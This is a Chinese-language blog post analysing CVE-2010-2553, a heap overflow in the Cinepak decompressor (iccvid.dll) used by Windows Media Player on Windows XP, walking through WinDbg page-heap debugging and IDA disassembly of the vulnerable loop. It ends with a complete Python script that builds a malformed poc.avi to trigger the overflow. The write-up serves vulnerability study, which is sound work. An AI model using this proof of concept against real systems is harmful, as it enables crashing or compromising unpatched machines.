avatar

目录
CVE-2010-2553 CVDecompress堆溢出分析

CVE-2010-2553 CVDecompress堆溢出分析

分析环境

Windows XP SP3 x86
Windbg 6.12.2.633
Windows Media Player 9.0.0.4503

Windbg符号表配置

Code
srv*c:\Symbols*http://msdl.microsoft.com/download/symbols

微软Win7以后使用在线下载符号表机制,XP没有支持,所以只能从网上下载符号表离线包,但还是有些报错,可以复制报错路径,在c:\Symbols中创建该路径,然后将对应dll(C:\WINDOWS\Symbols\dll中)复制过来,如图

分析过程

运行Media Player,windbg附加wmplayer.exe

定位漏洞位置

windbg下的gflags.exe可以辅助堆调试

Code
调试选项

htc-堆尾检查,在堆块末尾附加额外的标记信息(通常为8字节),用于检查堆块是否发生溢出。
hfc-堆释放检查,在释放堆块时对堆进行各种检查,防止多次释放同一个堆块。
hpc-堆参数检查,对传递给堆管理的参数进行更多的检查。
ust-用户态栈回溯,即将每次调用堆函数的函数调用信息记录到一个数据库中。
htg-堆标志,为堆块增加附加标记,以记录堆块的使用情况或其他信息。
hvc-调用时验证,即每次调用堆函数时都对整个堆进行验证和检查。
hpa-启用页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常。

windbg中使用!gflag +hpa启用页堆检测
g继续运行程序,运行poc.avi
触发异常,kb显示调用栈

ub查看反汇编,进入73b721ae产生异常,因此在73b7cbee处下断点

但如果直接下断点到73b7cbee不成功,因为该地址位于iccvid.dll模块中,而iccvid只在解析poc.avi时才会被动态加载,若重新附加进程运行,里面是没有iccvid.dl模块的。

解决方法:在刚刚附加上进程时,通过”sxe ld:iccvid”命令,设置在iccvid.dll模块首次加载时断下

重新加载,使用sxe ld:iccvid加载iccvid.dll模块并断下,g继续运行
播放poc.avi, lmm iccvid查看模块信息
bp下断
bl可看出模块列表
运行即可到达该断点位置

漏洞分析

IDA分析iccvid.dll,并导入pdb,发现该漏洞位于__stdcall CVDecompress(x, x, x, x, x, x, x)函数中

x86asm
.text:73B721E1 loc_73B721E1:                           ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+15↑j
.text:73B721E1 xor eax, eax
.text:73B721E3 cmp [ebp+arg_8], 20h
.text:73B721E7 jb loc_73B723ED
.text:73B721ED mov esi, [ebp+arg_4]
.text:73B721F0 mov ah, [esi+1]
.text:73B721F3 movzx ecx, byte ptr [esi+3]
.text:73B721F7 mov al, [esi+2]
.text:73B721FA shl eax, 8
.text:73B721FD or eax, ecx
.text:73B721FF cmp [ebp+arg_8], eax
.text:73B72202 jl loc_73B723F4
.text:73B72208 mov cl, [esi]
.text:73B7220A mov byte ptr [ebp+arg_8+3], cl
.text:73B7220D lea ecx, [ebp+var_10]
.text:73B72210 push ecx
.text:73B72211 push 0Ah
.text:73B72213 push eax
.text:73B72214 call _ULongSub@12 ; ULongSub(x,x,x)
.text:73B72219 test eax, eax
.text:73B7221B jl loc_73B723F4
.text:73B72221 xor eax, eax
.text:73B72223 mov ah, [esi+8]
.text:73B72226 add esi, 0Ah
.text:73B72229 mov [ebp+var_14], edi
.text:73B7222C mov [ebp+var_18], esi
.text:73B7222F mov [ebp+var_C], esi
.text:73B72232 mov al, [esi-1]
.text:73B72235 cmp eax, edi
.text:73B72237 mov [ebp+var_1C], eax
.text:73B7223A jle loc_73B723EA
.text:73B72240 mov [ebp+var_4], edi

Code
cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'

x86asm
.text:73B72226                 add     esi, 0Ah  ;esi指向cinepak_codec_data2


cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
x86asm
.text:73B72246                 cmp     eax, 16h  ;判断未解压缩数据是否大于等于0x16

.text:73B722A9 mov eax, [ebp+var_4] ;首次为0,循环递增到0x2000

x86asm
.text:73B723B9 loc_73B723B9:                           ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+15A↑j
.text:73B723B9 movsx eax, word ptr [ebp+arg_4]
.text:73B723BD imul eax, [ebp+arg_18]
.text:73B723C1 add [ebp+arg_14], eax
.text:73B723C4 inc [ebp+var_14]
.text:73B723C7 add [ebp+var_4], 2000h
.text:73B723CE xor edi, edi

每次循环复制0x800字节数据,目标地址递增0x2000,堆块大小为0x6000,令0x1100的数据块超过三个就能造成堆溢出。

poc

python
import sys

def main():

aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
number_of_coded_strips = '\x00\x10'
cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

avifile = open('poc.avi', 'wb+')
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)

avifile.close()
print '[-] AVI file generated'

if __name__ == '__main__':
main()
文章作者: kabeor
文章链接: https://kabeor.github.io/CVE-2010-2553%20CVDecompress%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 K's House

评论